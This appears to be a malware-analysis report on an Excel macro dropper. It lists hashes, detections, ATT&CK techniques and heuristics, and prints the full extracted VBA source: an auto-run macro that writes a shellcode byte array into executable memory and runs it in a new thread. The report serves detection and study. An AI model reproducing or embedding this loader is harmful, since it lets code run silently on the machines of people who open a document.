Doc.Dropper.Valyria-6680543-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 ad0bf327fad350c7…

MALICIOUS

Office (OLE)

26.5 KB Created: 2012-01-20 23:44:55 Authoring application: Microsoft Excel First seen: 2017-02-23
MD5: e0bb866e830ae3fc13341be4bbb41ab2 SHA-1: 54d98c6fe315b593edfb794c7afcb8d24dfa8489 SHA-256: ad0bf327fad350c79f99f595cc336ede680707943aa56268e71639bd59b5d06a
124 Risk Score

Malware Insights

Doc.Dropper.Valyria-6680543-0 · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The critical ClamAV detection and the presence of VBA macros, including Auto_Open, indicate a malicious dropper. The VBA code references VirtualAlloc and RtlMoveMemory, suggesting it allocates memory and copies shellcode into it. This shellcode is likely responsible for downloading and executing a secondary payload, aligning with the 'Doc.Dropper.Valyria-6680543-0' family name.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Wkbiqmw As Long, Hmbo As Variant, Rwvxs As Long, Xinzcm As Long, Abegogwui As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2459 bytes
SHA-256: de38f5c502aef1fd40aa64cb216c0f4fc53cadffefda4f0c492e6090e9ec189d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Declare Function CreateThread Lib "kernel32" (ByVal Npdrhkbff As Long, ByVal Drcunuy As Long, ByVal Ache As Long, Wiquwzp As Long, ByVal Ltdplqkqj As Long, Xsawbea As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Aacsuf As Long, ByVal Ioo As Long, ByVal Fpihqsli As Long, ByVal Ximedrqa As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Vejyzyxy As Long, ByRef Kalwgz As Any, ByVal Ftnp As Long) As Long

Sub Auto_Open()
    Dim Wkbiqmw As Long, Hmbo As Variant, Rwvxs As Long, Xinzcm As Long, Abegogwui As Long
    Hmbo = Array(232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, _
139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, _
13, 1, 199, 226, 240, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, _
116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227, 60, 73, 139, 52, 139, 1, _
214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, _
36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, _
139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, _
235, 134, 93, 106, 1, 141, 133, 185, 0, 0, 0, 80, 104, 49, 139, 111, 135, 255, 213, 187, _
224, 29, 42, 10, 104, 166, 149, 189, 157, 255, 213, 60, 6, 124, 10, 128, 251, 224, 117, 5, _
187, 71, 19, 114, 111, 106, 0, 83, 255, 213, 99, 97, 108, 99, 0)
    Rwvxs = VirtualAlloc(0, UBound(Hmbo), &H1000, &H40)
    For Abegogwui = LBound(Hmbo) To UBound(Hmbo)
        Wkbiqmw = Hmbo(Abegogwui)
        Xinzcm = RtlMoveMemory(Rwvxs + Abegogwui, Wkbiqmw, 1)
    Next Abegogwui
    Xinzcm = CreateThread(0, 0, Rwvxs, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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